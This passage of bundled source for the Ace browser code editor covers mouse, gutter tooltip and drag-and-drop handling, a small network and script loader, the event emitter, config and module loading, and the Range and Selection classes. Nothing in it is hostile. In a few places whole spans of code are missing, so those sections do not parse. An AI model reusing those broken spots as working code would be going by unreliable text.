ev.wheelY * ev.speed); if (isScrolable || dt < 200) { this.$lastScrollTime = t; editor.renderer.scrollBy(ev.wheelX * ev.speed, ev.wheelY * ev.speed); return ev.stop(); } }; this.onTouchMove = function (ev) { var t = ev.domEvent.timeStamp; var dt = t - (this.$lastScrollTime || 0); var editor = this.editor; var isScrolable = editor.renderer.isScrollableBy(ev.wheelX * ev.speed, ev.wheelY * ev.speed); if (isScrolable || dt < 200) { this.$lastScrollTime = t; editor.renderer.scrollBy(ev.wheelX * ev.speed, ev.wheelY * ev.speed); return ev.stop(); } }; }).call(DefaultHandlers.prototype); exports.DefaultHandlers = DefaultHandlers; function calcDistance(ax, ay, bx, by) { return Math.sqrt(Math.pow(bx - ax, 2) + Math.pow(by - ay, 2)); } function calcRangeOrientation(range, cursor) { if (range.start.row == range.end.row) var cmp = 2 * cursor.column - range.start.column - range.end.column; else if (range.start.row == range.end.row - 1 && !range.start.column && !range.end.column) var cmp = cursor.column - 4; else var cmp = 2 * cursor.row - range.start.row - range.end.row; if (cmp < 0) return {cursor: range.start, anchor: range.end}; else return {cursor: range.end, anchor: range.start}; } }); ace.define("ace/tooltip",["require","exports","module","ace/lib/oop","ace/lib/dom"], function(require, exports, module) { "use strict"; var oop = require("./lib/oop"); var dom = require("./lib/dom"); function Tooltip (parentNode) { this.isOpen = false; this.$element = null; this.$parentNode = parentNode; } (function() { this.$init = function() { this.$element = dom.createElement("div"); this.$element.className = "ace_tooltip"; this.$element.style.display = "none"; this.$parentNode.appendChild(this.$element); return this.$element; }; this.getElement = function() { return this.$element || this.$init(); }; this.setText = function(text) { dom.setInnerText(this.getElement(), text); }; this.setHtml = function(html) { this.getElement().innerHTML = html; }; this.setPosition = function(x, y) { this.getElement().style.left = x + "px"; this.getElement().style.top = y + "px"; }; this.setClassName = function(className) { dom.addCssClass(this.getElement(), className); }; this.show = function(text, x, y) { if (text != null) this.setText(text); if (x != null && y != null) this.setPosition(x, y); if (!this.isOpen) { this.getElement().style.display = "block"; this.isOpen = true; } }; this.hide = function() { if (this.isOpen) { this.getElement().style.display = "none"; this.isOpen = false; } }; this.getHeight = function() { return this.getElement().offsetHeight; }; this.getWidth = function() { return this.getElement().offsetWidth; }; }).call(Tooltip.prototype); exports.Tooltip = Tooltip; }); ace.define("ace/mouse/default_gutter_handler",["require","exports","module","ace/lib/dom","ace/lib/oop","ace/lib/event","ace/tooltip"], function(require, exports, module) { "use strict"; var dom = require("../lib/dom"); var oop = require("../lib/oop"); var event = require("../lib/event"); var Tooltip = require("../tooltip").Tooltip; function GutterHandler(mouseHandler) { var editor = mouseHandler.editor; var gutter = editor.renderer.$gutterLayer; var tooltip = new GutterTooltip(editor.container); mouseHandler.editor.setDefaultHandler("guttermousedown", function(e) { if (!editor.isFocused() || e.getButton() != 0) return; var gutterRegion = gutter.getRegion(e); if (gutterRegion == "foldWidgets") return; var row = e.getDocumentPosition().row; var selection = editor.session.selection; if (e.getShiftKey()) selection.selectTo(row, 0); else { if (e.domEvent.detail == 2) { editor.selectAll(); return e.preventDefault(); } mouseHandler.$clickSelection = editor.selection.getLineRange(row); } mouseHandler.setState("selectByLines"); mouseHandler.captureMouse(e); return e.preventDefault(); }); var tooltipTimeout, mouseEvent, tooltipAnnotation; function showTooltip() { var row = mouseEvent.getDocumentPosition().row; var annotation = gutter.$annotations[row]; if (!annotation) return hideTooltip(); var maxRow = editor.session.getLength(); if (row == maxRow) { var screenRow = editor.renderer.pixelToScreenCoordinates(0, mouseEvent.y).row; var pos = mouseEvent.$pos; if (screenRow > editor.session.documentToScreenRow(pos.row, pos.column)) return hideTooltip(); } if (tooltipAnnotation == annotation) return; tooltipAnnotation = annotation.text.join("
    "); tooltip.setHtml(tooltipAnnotation); tooltip.show(); editor.on("mousewheel", hideTooltip); if (mouseHandler.$tooltipFollowsMouse) { moveTooltip(mouseEvent); } else { var gutterElement = mouseEvent.domEvent.target; var rect = gutterElement.getBoundingClientRect(); var style = tooltip.getElement().style; style.left = rect.right + "px"; style.top = rect.bottom + "px"; } } function hideTooltip() { if (tooltipTimeout) tooltipTimeout = clearTimeout(tooltipTimeout); if (tooltipAnnotation) { tooltip.hide(); tooltipAnnotation = null; editor.removeEventListener("mousewheel", hideTooltip); } } function moveTooltip(e) { tooltip.setPosition(e.x, e.y); } mouseHandler.editor.setDefaultHandler("guttermousemove", function(e) { var target = e.domEvent.target || e.domEvent.srcElement; if (dom.hasCssClass(target, "ace_fold-widget")) return hideTooltip(); if (tooltipAnnotation && mouseHandler.$tooltipFollowsMouse) moveTooltip(e); mouseEvent = e; if (tooltipTimeout) return; tooltipTimeout = setTimeout(function() { tooltipTimeout = null; if (mouseEvent && !mouseHandler.isMousePressed) showTooltip(); else hideTooltip(); }, 50); }); event.addListener(editor.renderer.$gutter, "mouseout", function(e) { mouseEvent = null; if (!tooltipAnnotation || tooltipTimeout) return; tooltipTimeout = setTimeout(function() { tooltipTimeout = null; hideTooltip(); }, 50); }); editor.on("changeSession", hideTooltip); } function GutterTooltip(parentNode) { Tooltip.call(this, parentNode); } oop.inherits(GutterTooltip, Tooltip); (function(){ this.setPosition = function(x, y) { var windowWidth = window.innerWidth || document.documentElement.clientWidth; var windowHeight = window.innerHeight || document.documentElement.clientHeight; var width = this.getWidth(); var height = this.getHeight(); x += 15; y += 15; if (x + width > windowWidth) { x -= (x + width) - windowWidth; } if (y + height > windowHeight) { y -= 20 + height; } Tooltip.prototype.setPosition.call(this, x, y); }; }).call(GutterTooltip.prototype); exports.GutterHandler = GutterHandler; }); ace.define("ace/mouse/mouse_event",["require","exports","module","ace/lib/event","ace/lib/useragent"], function(require, exports, module) { "use strict"; var event = require("../lib/event"); var useragent = require("../lib/useragent"); var MouseEvent = exports.MouseEvent = function(domEvent, editor) { this.domEvent = domEvent; this.editor = editor; this.x = this.clientX = domEvent.clientX; this.y = this.clientY = domEvent.clientY; this.$pos = null; this.$inSelection = null; this.propagationStopped = false; this.defaultPrevented = false; }; (function() { this.stopPropagation = function() { event.stopPropagation(this.domEvent); this.propagationStopped = true; }; this.preventDefault = function() { event.preventDefault(this.domEvent); this.defaultPrevented = true; }; this.stop = function() { this.stopPropagation(); this.preventDefault(); }; this.getDocumentPosition = function() { if (this.$pos) return this.$pos; this.$pos = this.editor.renderer.screenToTextCoordinates(this.clientX, this.clientY); return this.$pos; }; this.inSelection = function() { if (this.$inSelection !== null) return this.$inSelection; var editor = this.editor; var selectionRange = editor.getSelectionRange(); if (selectionRange.isEmpty()) this.$inSelection = false; else { var pos = this.getDocumentPosition(); this.$inSelection = selectionRange.contains(pos.row, pos.column); } return this.$inSelection; }; this.getButton = function() { return event.getButton(this.domEvent); }; this.getShiftKey = function() { return this.domEvent.shiftKey; }; this.getAccelKey = useragent.isMac ? function() { return this.domEvent.metaKey; } : function() { return this.domEvent.ctrlKey; }; }).call(MouseEvent.prototype); }); ace.define("ace/mouse/dragdrop_handler",["require","exports","module","ace/lib/dom","ace/lib/event","ace/lib/useragent"], function(require, exports, module) { "use strict"; var dom = require("../lib/dom"); var event = require("../lib/event"); var useragent = require("../lib/useragent"); var AUTOSCROLL_DELAY = 200; var SCROLL_CURSOR_DELAY = 200; var SCROLL_CURSOR_HYSTERESIS = 5; function DragdropHandler(mouseHandler) { var editor = mouseHandler.editor; var blankImage = dom.createElement("img"); blankImage.src = "data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="; if (useragent.isOpera) blankImage.style.cssText = "width:1px;height:1px;position:fixed;top:0;left:0;z-index:2147483647;opacity:0;"; var exports = ["dragWait", "dragWaitEnd", "startDrag", "dragReadyEnd", "onMouseDrag"]; exports.forEach(function(x) { mouseHandler[x] = this[x]; }, this); editor.addEventListener("mousedown", this.onMouseDown.bind(mouseHandler)); var mouseTarget = editor.container; var dragSelectionMarker, x, y; var timerId, range; var dragCursor, counter = 0; var dragOperation; var isInternal; var autoScrollStartTime; var cursorMovedTime; var cursorPointOnCaretMoved; this.onDragStart = function(e) { if (this.cancelDrag || !mouseTarget.draggable) { var self = this; setTimeout(function(){ self.startSelect(); self.captureMouse(e); }, 0); return e.preventDefault(); } range = editor.getSelectionRange(); var dataTransfer = e.dataTransfer; dataTransfer.effectAllowed = editor.getReadOnly() ? "copy" : "copyMove"; if (useragent.isOpera) { editor.container.appendChild(blankImage); blankImage.scrollTop = 0; } dataTransfer.setDragImage && dataTransfer.setDragImage(blankImage, 0, 0); if (useragent.isOpera) { editor.container.removeChild(blankImage); } dataTransfer.clearData(); dataTransfer.setData("Text", editor.session.getTextRange()); isInternal = true; this.setState("drag"); }; this.onDragEnd = function(e) { mouseTarget.draggable = false; isInternal = false; this.setState(null); if (!editor.getReadOnly()) { var dropEffect = e.dataTransfer.dropEffect; if (!dragOperation && dropEffect == "move") editor.session.remove(editor.getSelectionRange()); editor.renderer.$cursorLayer.setBlinking(true); } this.editor.unsetStyle("ace_dragging"); this.editor.renderer.setCursorStyle(""); }; this.onDragEnter = function(e) { if (editor.getReadOnly() || !canAccept(e.dataTransfer)) return; x = e.clientX; y = e.clientY; if (!dragSelectionMarker) addDragMarker(); counter++; e.dataTransfer.dropEffect = dragOperation = getDropEffect(e); return event.preventDefault(e); }; this.onDragOver = function(e) { if (editor.getReadOnly() || !canAccept(e.dataTransfer)) return; x = e.clientX; y = e.clientY; if (!dragSelectionMarker) { addDragMarker(); counter++; } if (onMouseMoveTimer !== null) onMouseMoveTimer = null; e.dataTransfer.dropEffect = dragOperation = getDropEffect(e); return event.preventDefault(e); }; this.onDragLeave = function(e) { counter--; if (counter <= 0 && dragSelectionMarker) { clearDragMarker(); dragOperation = null; return event.preventDefault(e); } }; this.onDrop = function(e) { if (!dragCursor) return; var dataTransfer = e.dataTransfer; if (isInternal) { switch (dragOperation) { case "move": if (range.contains(dragCursor.row, dragCursor.column)) { range = { start: dragCursor, end: dragCursor }; } else { range = editor.moveText(range, dragCursor); } break; case "copy": range = editor.moveText(range, dragCursor, true); break; } } else { var dropData = dataTransfer.getData('Text'); range = { start: dragCursor, end: editor.session.insert(dragCursor, dropData) }; editor.focus(); dragOperation = null; } clearDragMarker(); return event.preventDefault(e); }; event.addListener(mouseTarget, "dragstart", this.onDragStart.bind(mouseHandler)); event.addListener(mouseTarget, "dragend", this.onDragEnd.bind(mouseHandler)); event.addListener(mouseTarget, "dragenter", this.onDragEnter.bind(mouseHandler)); event.addListener(mouseTarget, "dragover", this.onDragOver.bind(mouseHandler)); event.addListener(mouseTarget, "dragleave", this.onDragLeave.bind(mouseHandler)); event.addListener(mouseTarget, "drop", this.onDrop.bind(mouseHandler)); function scrollCursorIntoView(cursor, prevCursor) { var now = Date.now(); var vMovement = !prevCursor || cursor.row != prevCursor.row; var hMovement = !prevCursor || cursor.column != prevCursor.column; if (!cursorMovedTime || vMovement || hMovement) { editor.$blockScrolling += 1; editor.moveCursorToPosition(cursor); editor.$blockScrolling -= 1; cursorMovedTime = now; cursorPointOnCaretMoved = {x: x, y: y}; } else { var distance = calcDistance(cursorPointOnCaretMoved.x, cursorPointOnCaretMoved.y, x, y); if (distance > SCROLL_CURSOR_HYSTERESIS) { cursorMovedTime = null; } else if (now - cursorMovedTime >= SCROLL_CURSOR_DELAY) { editor.renderer.scrollCursorIntoView(); cursorMovedTime = null; } } } function autoScroll(cursor, prevCursor) { var now = Date.now(); var lineHeight = editor.renderer.layerConfig.lineHeight; var characterWidth = editor.renderer.layerConfig.characterWidth; var editorRect = editor.renderer.scroller.getBoundingClientRect(); var offsets = { x: { left: x - editorRect.left, right: editorRect.right - x }, y: { top: y - editorRect.top, bottom: editorRect.bottom - y } }; var nearestXOffset = Math.min(offsets.x.left, offsets.x.right); var nearestYOffset = Math.min(offsets.y.top, offsets.y.bottom); var scrollCursor = {row: cursor.row, column: cursor.column}; if (nearestXOffset / characterWidth <= 2) { scrollCursor.column += (offsets.x.left < offsets.x.right ? -3 : +2); } if (nearestYOffset / lineHeight <= 1) { scrollCursor.row += (offsets.y.top < offsets.y.bottom ? -1 : +1); } var vScroll = cursor.row != scrollCursor.row; var hScroll = cursor.column != scrollCursor.column; var vMovement = !prevCursor || cursor.row != prevCursor.row; if (vScroll || (hScroll && !vMovement)) { if (!autoScrollStartTime) autoScrollStartTime = now; else if (now - autoScrollStartTime >= AUTOSCROLL_DELAY) editor.renderer.scrollCursorIntoView(scrollCursor); } else { autoScrollStartTime = null; } } function onDragInterval() { var prevCursor = dragCursor; dragCursor = editor.renderer.screenToTextCoordinates(x, y); scrollCursorIntoView(dragCursor, prevCursor); autoScroll(dragCursor, prevCursor); } function addDragMarker() { range = editor.selection.toOrientedRange(); dragSelectionMarker = editor.session.addMarker(range, "ace_selection", editor.getSelectionStyle()); editor.clearSelection(); if (editor.isFocused()) editor.renderer.$cursorLayer.setBlinking(false); clearInterval(timerId); onDragInterval(); timerId = setInterval(onDragInterval, 20); counter = 0; event.addListener(document, "mousemove", onMouseMove); } function clearDragMarker() { clearInterval(timerId); editor.session.removeMarker(dragSelectionMarker); dragSelectionMarker = null; editor.$blockScrolling += 1; editor.selection.fromOrientedRange(range); editor.$blockScrolling -= 1; if (editor.isFocused() && !isInternal) editor.renderer.$cursorLayer.setBlinking(!editor.getReadOnly()); range = null; dragCursor = null; counter = 0; autoScrollStartTime = null; cursorMovedTime = null; event.removeListener(document, "mousemove", onMouseMove); } var onMouseMoveTimer = null; function onMouseMove() { if (onMouseMoveTimer == null) { onMouseMoveTimer = setTimeout(function() { if (onMouseMoveTimer != null && dragSelectionMarker) clearDragMarker(); }, 20); } } function canAccept(dataTransfer) { var types = dataTransfer.types; return !types || Array.prototype.some.call(types, function(type) { return type == 'text/plain' || type == 'Text'; }); } function getDropEffect(e) { var copyAllowed = ['copy', 'copymove', 'all', 'uninitialized']; var moveAllowed = ['move', 'copymove', 'linkmove', 'all', 'uninitialized']; var copyModifierState = useragent.isMac ? e.altKey : e.ctrlKey; var effectAllowed = "uninitialized"; try { effectAllowed = e.dataTransfer.effectAllowed.toLowerCase(); } catch (e) {} var dropEffect = "none"; if (copyModifierState && copyAllowed.indexOf(effectAllowed) >= 0) dropEffect = "copy"; else if (moveAllowed.indexOf(effectAllowed) >= 0) dropEffect = "move"; else if (copyAllowed.indexOf(effectAllowed) >= 0) dropEffect = "copy"; return dropEffect; } } (function() { this.dragWait = function() { var interval = Date.now() - this.mousedownEvent.time; if (interval > this.editor.getDragDelay()) this.startDrag(); }; this.dragWaitEnd = function() { var target = this.editor.container; target.draggable = false; this.startSelect(this.mousedownEvent.getDocumentPosition()); this.selectEnd(); }; this.dragReadyEnd = function(e) { this.editor.renderer.$cursorLayer.setBlinking(!this.editor.getReadOnly()); this.editor.unsetStyle("ace_dragging"); this.editor.renderer.setCursorStyle(""); this.dragWaitEnd(); }; this.startDrag = function(){ this.cancelDrag = false; var editor = this.editor; var target = editor.container; target.draggable = true; editor.renderer.$cursorLayer.setBlinking(false); editor.setStyle("ace_dragging"); var cursorStyle = useragent.isWin ? "default" : "move"; editor.renderer.setCursorStyle(cursorStyle); this.setState("dragReady"); }; this.onMouseDrag = function(e) { var target = this.editor.container; if (useragent.isIE && this.state == "dragReady") { var distance = calcDistance(this.mousedownEvent.x, this.mousedownEvent.y, this.x, this.y); if (distance > 3) target.dragDrop(); } if (this.state === "dragWait") { var distance = calcDistance(this.mousedownEvent.x, this.mousedownEvent.y, this.x, this.y); if (distance > 0) { target.draggable = false; this.startSelect(this.mousedownEvent.getDocumentPosition()); } } }; this.onMouseDown = function(e) { if (!this.$dragEnabled) return; this.mousedownEvent = e; var editor = this.editor; var inSelection = e.inSelection(); var button = e.getButton(); var clickCount = e.domEvent.detail || 1; if (clickCount === 1 && button === 0 && inSelection) { if (e.editor.inMultiSelectMode && (e.getAccelKey() || e.getShiftKey())) return; this.mousedownEvent.time = Date.now(); var eventTarget = e.domEvent.target || e.domEvent.srcElement; if ("unselectable" in eventTarget) eventTarget.unselectable = "on"; if (editor.getDragDelay()) { if (useragent.isWebKit) { this.cancelDrag = true; var mouseTarget = editor.container; mouseTarget.draggable = true; } this.setState("dragWait"); } else { this.startDrag(); } this.captureMouse(e, this.onMouseDrag.bind(this)); e.defaultPrevented = true; } }; }).call(DragdropHandler.prototype); function calcDistance(ax, ay, bx, by) { return Math.sqrt(Math.pow(bx - ax, 2) + Math.pow(by - ay, 2)); } exports.DragdropHandler = DragdropHandler; }); ace.define("ace/lib/net",["require","exports","module","ace/lib/dom"], function(require, exports, module) { "use strict"; var dom = require("./dom"); exports.get = function (url, callback) { var xhr = new XMLHttpRequest(); xhr.open('GET', url, true); xhr.onreadystatechange = function () { if (xhr.readyState === 4) { callback(xhr.responseText); } }; xhr.send(null); }; exports.loadScript = function(path, callback) { var head = dom.getDocumentHead(); var s = document.createElement('script'); s.src = path; head.appendChild(s); s.onload = s.onreadystatechange = function(_, isAbort) { if (isAbort || !s.readyState || s.readyState == "loaded" || s.readyState == "complete") { s = s.onload = s.onreadystatechange = null; if (!isAbort) callback(); } }; }; exports.qualifyURL = function(url) { var a = document.createElement('a'); a.href = url; return a.href; } }); ace.define("ace/lib/event_emitter",["require","exports","module"], function(require, exports, module) { "use strict"; var EventEmitter = {}; var stopPropagation = function() { this.propagationStopped = true; }; var preventDefault = function() { this.defaultPrevented = true; }; EventEmitter._emit = EventEmitter._dispatchEvent = function(eventName, e) { this._eventRegistry || (this._eventRegistry = {}); this._defaultHandlers || (this._defaultHandlers = {}); var listeners = this._eventRegistry[eventName] || []; var defaultHandler = this._defaultHandlers[eventName]; if (!listeners.length && !defaultHandler) return; if (typeof e != "object" || !e) e = {}; if (!e.type) e.type = eventName; if (!e.stopPropagation) e.stopPropagation = stopPropagation; if (!e.preventDefault) e.preventDefault = preventDefault; listeners = listeners.slice(); for (var i=0; i 1) base = parts[parts.length - 2]; var path = options[component + "Path"]; if (path == null) { path = options.basePath; } else if (sep == "/") { component = sep = ""; } if (path && path.slice(-1) != "/") path += "/"; return path + component + sep + base + this.get("suffix"); }; exports.setModuleUrl = function(name, subst) { return options.$moduleUrls[name] = subst; }; exports.$loading = {}; exports.loadModule = function(moduleName, onLoad) { var module, moduleType; if (Array.isArray(moduleName)) { moduleType = moduleName[0]; moduleName = moduleName[1]; } try { module = require(moduleName); } catch (e) {} if (module && !exports.$loading[moduleName]) return onLoad && onLoad(module); if (!exports.$loading[moduleName]) exports.$loading[moduleName] = []; exports.$loading[moduleName].push(onLoad); if (exports.$loading[moduleName].length > 1) return; var afterLoad = function() { require([moduleName], function(module) { exports._emit("load.module", {name: moduleName, module: module}); var listeners = exports.$loading[moduleName]; exports.$loading[moduleName] = null; listeners.forEach(function(onLoad) { onLoad && onLoad(module); }); }); }; if (!exports.get("packaged")) return afterLoad(); net.loadScript(exports.moduleUrl(moduleName, moduleType), afterLoad); }; init(true);function init(packaged) { if (!global || !global.document) return; options.packaged = packaged || require.packaged || module.packaged || (global.define && define.packaged); var scriptOptions = {}; var scriptUrl = ""; var currentScript = (document.currentScript || document._currentScript ); // native or polyfill var currentDocument = currentScript && currentScript.ownerDocument || document; var scripts = currentDocument.getElementsByTagName("script"); for (var i=0; i [" + this.end.row + "/" + this.end.column + "]"); }; this.contains = function(row, column) { return this.compare(row, column) == 0; }; this.compareRange = function(range) { var cmp, end = range.end, start = range.start; cmp = this.compare(end.row, end.column); if (cmp == 1) { cmp = this.compare(start.row, start.column); if (cmp == 1) { return 2; } else if (cmp == 0) { return 1; } else { return 0; } } else if (cmp == -1) { return -2; } else { cmp = this.compare(start.row, start.column); if (cmp == -1) { return -1; } else if (cmp == 1) { return 42; } else { return 0; } } }; this.comparePoint = function(p) { return this.compare(p.row, p.column); }; this.containsRange = function(range) { return this.comparePoint(range.start) == 0 && this.comparePoint(range.end) == 0; }; this.intersects = function(range) { var cmp = this.compareRange(range); return (cmp == -1 || cmp == 0 || cmp == 1); }; this.isEnd = function(row, column) { return this.end.row == row && this.end.column == column; }; this.isStart = function(row, column) { return this.start.row == row && this.start.column == column; }; this.setStart = function(row, column) { if (typeof row == "object") { this.start.column = row.column; this.start.row = row.row; } else { this.start.row = row; this.start.column = column; } }; this.setEnd = function(row, column) { if (typeof row == "object") { this.end.column = row.column; this.end.row = row.row; } else { this.end.row = row; this.end.column = column; } }; this.inside = function(row, column) { if (this.compare(row, column) == 0) { if (this.isEnd(row, column) || this.isStart(row, column)) { return false; } else { return true; } } return false; }; this.insideStart = function(row, column) { if (this.compare(row, column) == 0) { if (this.isEnd(row, column)) { return false; } else { return true; } } return false; }; this.insideEnd = function(row, column) { if (this.compare(row, column) == 0) { if (this.isStart(row, column)) { return false; } else { return true; } } return false; }; this.compare = function(row, column) { if (!this.isMultiLine()) { if (row === this.start.row) { return column < this.start.column ? -1 : (column > this.end.column ? 1 : 0); } } if (row < this.start.row) return -1; if (row > this.end.row) return 1; if (this.start.row === row) return column >= this.start.column ? 0 : -1; if (this.end.row === row) return column <= this.end.column ? 0 : 1; return 0; }; this.compareStart = function(row, column) { if (this.start.row == row && this.start.column == column) { return -1; } else { return this.compare(row, column); } }; this.compareEnd = function(row, column) { if (this.end.row == row && this.end.column == column) { return 1; } else { return this.compare(row, column); } }; this.compareInside = function(row, column) { if (this.end.row == row && this.end.column == column) { return 1; } else if (this.start.row == row && this.start.column == column) { return -1; } else { return this.compare(row, column); } }; this.clipRows = function(firstRow, lastRow) { if (this.end.row > lastRow) var end = {row: lastRow + 1, column: 0}; else if (this.end.row < firstRow) var end = {row: firstRow, column: 0}; if (this.start.row > lastRow) var start = {row: lastRow + 1, column: 0}; else if (this.start.row < firstRow) var start = {row: firstRow, column: 0}; return Range.fromPoints(start || this.start, end || this.end); }; this.extend = function(row, column) { var cmp = this.compare(row, column); if (cmp == 0) return this; else if (cmp == -1) var start = {row: row, column: column}; else var end = {row: row, column: column}; return Range.fromPoints(start || this.start, end || this.end); }; this.isEmpty = function() { return (this.start.row === this.end.row && this.start.column === this.end.column); }; this.isMultiLine = function() { return (this.start.row !== this.end.row); }; this.clone = function() { return Range.fromPoints(this.start, this.end); }; this.collapseRows = function() { if (this.end.column == 0) return new Range(this.start.row, 0, Math.max(this.start.row, this.end.row-1), 0) else return new Range(this.start.row, 0, this.end.row, 0) }; this.toScreenRange = function(session) { var screenPosStart = session.documentToScreenPosition(this.start); var screenPosEnd = session.documentToScreenPosition(this.end); return new Range( screenPosStart.row, screenPosStart.column, screenPosEnd.row, screenPosEnd.column ); }; this.moveBy = function(row, column) { this.start.row += row; this.start.column += column; this.end.row += row; this.end.column += column; }; }).call(Range.prototype); Range.fromPoints = function(start, end) { return new Range(start.row, start.column, end.row, end.column); }; Range.comparePoints = comparePoints; Range.comparePoints = function(p1, p2) { return p1.row - p2.row || p1.column - p2.column; }; exports.Range = Range; }); ace.define("ace/selection",["require","exports","module","ace/lib/oop","ace/lib/lang","ace/lib/event_emitter","ace/range"], function(require, exports, module) { "use strict"; var oop = require("./lib/oop"); var lang = require("./lib/lang"); var EventEmitter = require("./lib/event_emitter").EventEmitter; var Range = require("./range").Range; var Selection = function(session) { this.session = session; this.doc = session.getDocument(); this.clearSelection(); this.lead = this.selectionLead = this.doc.createAnchor(0, 0); this.anchor = this.selectionAnchor = this.doc.createAnchor(0, 0); var self = this; this.lead.on("change", function(e) { self._emit("changeCursor"); if (!self.$isEmpty) self._emit("changeSelection"); if (!self.$keepDesiredColumnOnChange && e.old.column != e.value.column) self.$desiredColumn = null; }); this.selectionAnchor.on("change", function() { if (!self.$isEmpty) self._emit("changeSelection"); }); }; (function() { oop.implement(this, EventEmitter); this.isEmpty = function() { return (this.$isEmpty || ( this.anchor.row == this.lead.row && this.anchor.column == this.lead.column )); }; this.isMultiLine = function() { if (this.isEmpty()) { return false; } return this.getRange().isMultiLine(); }; this.getCursor = function() { return this.lead.getPosition(); }; this.setSelectionAnchor = function(row, column) { this.anchor.setPosition(row, column); if (this.$isEmpty) { this.$isEmpty = false; this._emit("changeSelection"); } }; this.getSelectionAnchor = function() { if (this.$isEmpty) return this.getSelectionLead(); else return this.anchor.getPosition(); }; this.getSelectionLead = function() { return this.lead.getPosition(); }; this.shiftSelection = function(columns) { if (this.$isEmpty) { this.moveCursorTo(this.lead.row, this.lead.column + columns); return; } var anchor = this.getSelectionAnchor(); var lead = this.getSelectionLead(); var isBackwards = this.isBackwards(); if (!isBackwards || anchor.column !== 0) this.setSelectionAnchor(anchor.row, anchor.column + columns); if (isBackwards || lead.column !== 0) { this.$moveSelection(function() { this.moveCursorTo(lead.row, lead.column + columns); }); } }; this.isBackwards = function() { var anchor = this.anchor; var lead = this.lead; return (anchor.row > lead.row || (anchor.row == lead.row && anchor.column > lead.column)); }; this.getRange = function() { var anchor = this.anchor; var lead = this.lead; if (this.isEmpty()) return Range.fromPoints(lead, lead); if (this.isBackwards()) { return Range.fromPoints(lead, anchor); } else { return Range.fromPoints(anchor, lead); } }; this.clearSelection = function() { if (!this.$isEmpty) { this.$isEmpty = true; this._emit("changeSelection"); } }; this.selectAll = function() { var lastRow = this.doc.getLength() - 1; this.setSelectionAnchor(0, 0); this.moveCursorTo(lastRow, this.doc.getLine(lastRow).length); }; this.setRange = this.setSelectionRange = function(range, reverse) { if (reverse) { this.setSelectionAnchor(range.end.row, range.end.column); this.selectTo(range.start.row, range.start.column); } else { this.setSelectionAnchor(range.start.row, range.start.column); this.selectTo(range.end.row, range.end.column); } if (this.getRange().isEmpty()) this.$isEmpty = true; this.$desiredColumn = null; }; this.$moveSelection = function(mover) { var lead = this.lead; if (this.$isEmpty) this.setSelectionAnchor(lead.row, lead.column); mover.call(this); }; this.selectTo = function(row, column) { this.$moveSelection(function() { this.moveCursorTo(row, column); }); }; this.selectToPosition = function(pos) { this.$moveSelection(function() { this.moveCursorToPosition(pos); }); }; this.moveTo = function(row, column) { this.clearSelection(); this.moveCursorTo(row, column); }; this.moveToPosition = function(pos) { this.clearSelection(); this.moveCursorToPosition(pos); }; this.selectUp = function() { this.$moveSelection(this.moveCursorUp); }; this.selectDown = function() { this.$moveSelection(this.moveCursorDown); }; this.selectRight = function() { this.$moveSelection(this.moveCursorRight); }; this.selectLeft = function() { this.$moveSelection(this.moveCursorLeft); }; this.selectLineStart = function() { this.$moveSelection(this.moveCursorLineStart); }; this.selectLineEnd = function() { this.$moveSelection(this.moveCursorLineEnd); }; this.selectFileEnd = function() { this.$moveSelection(this.moveCursorFileEnd); }; this.selectFileStart = function() { this.$moveSelection(this.moveCursorFileStart); }; this.selectWordRight = function() { this.$moveSelection(this.moveCursorWordRight); }; this.selectWordLeft = function() { this.$moveSelection(this.moveCursorWordLeft); }; this.getWordRange = function(row, column) { if (typeof column == "undefined") { var cursor = row || this.lead; row = cursor.row; column = cursor.column; } return this.session.getWordRange(row, column); }; this.selectWord = function() { this.setSelectionRange(this.getWordRange()); }; this.selectAWord = function() { var cursor = this.getCursor(); var range = this.session.getAWordRange(cursor.row, cursor.column); this.setSelectionRange(range); }; this.getLineRange = function(row, excludeLastChar) { var rowStart = typeof row == "number" ? row : this.lead.row; var rowEnd; var foldLine = this.session.getFoldLine(rowStart); if (foldLine) { rowStart = foldLine.start.row; rowEnd = foldLine.end.row; } else { rowEnd = rowStart; } if (excludeLastChar === true) return new Range(rowStart, 0, rowEnd, this.session.getLine(rowEnd).length); else return new Range(rowStart, 0, rowEnd + 1, 0); }; this.selectLine = function() { this.setSelectionRange(this.getLineRange()); }; this.moveCursorUp = function() { this.moveCursorBy(-1, 0); }; this.moveCursorDown = function() { this.moveCursorBy(1, 0); }; this.moveCursorLeft = function() { var cursor = this.lead.getPosition(), fold; if (fold = this.session.getFoldAt(cursor.row, cursor.column, -1)) { this.moveCursorTo(fold.start.row, fold.start.column); } else if (cursor.column === 0) { if (cursor.row > 0) { this.moveCursorTo(cursor.row - 1, this.doc.getLine(cursor.row - 1).length); } } else { var tabSize = this.session.getTabSize(); if (this.session.isTabStop(cursor) && this.doc.getLine(cursor.row).slice(cursor.column-tabSize, cursor.column).split(" ").length-1 == tabSize) this.moveCursorBy(0, -tabSize); else this.moveCursorBy(0, -1); } }; this.moveCursorRight = function() { var cursor = this.lead.getPosition(), fold; if (fold = this.session.getFoldAt(cursor.row, cursor.column, 1)) { this.moveCursorTo(fold.end.row, fold.end.column); } else if (this.lead.column == this.doc.getLine(this.lead.row).length) { if (this.lead.row < this.doc.getLength() - 1) { this.moveCursorTo(this.lead.row + 1, 0); } } else { var tabSize = this.session.getTabSize(); var cursor = this.lead; if (this.session.isTabStop(cursor) && this.doc.getLine(cursor.row).slice(cursor.column, cursor.column+tabSize).split(" ").length-1 == tabSize) this.moveCursorBy(0, tabSize); else this.moveCursorBy(0, 1); } }; this.moveCursorLineStart = function() { var row = this.lead.row; var column = this.lead.column; var screenRow = this.session.documentToScreenRow(row, column); var firstColumnPosition = this.session.screenToDocumentPosition(screenRow, 0); var beforeCursor = this.session.getDisplayLine( row, null, firstColumnPosition.row, firstColumnPosition.column ); var leadingSpace = beforeCursor.match(/^\s*/); if (leadingSpace[0].length != column && !this.session.$useEmacsStyleLineStart) firstColumnPosition.column += leadingSpace[0].length; this.moveCursorToPosition(firstColumnPosition); }; this.moveCursorLineEnd = function() { var lead = this.lead; var lineEnd = this.session.getDocumentLastRowColumnPosition(lead.row, lead.column); if (this.lead.column == lineEnd.column) { var line = this.session.getLine(lineEnd.row); if (lineEnd.column == line.length) { var textEnd = line.search(/\s+$/); if (textEnd > 0) lineEnd.column = textEnd; } } this.moveCursorTo(lineEnd.row, lineEnd.column); }; this.moveCursorFileEnd = function() { var row = this.doc.getLength() - 1; var column = this.doc.getLine(row).length; this.moveCursorTo(row, column); }; this.moveCursorFileStart = function() { 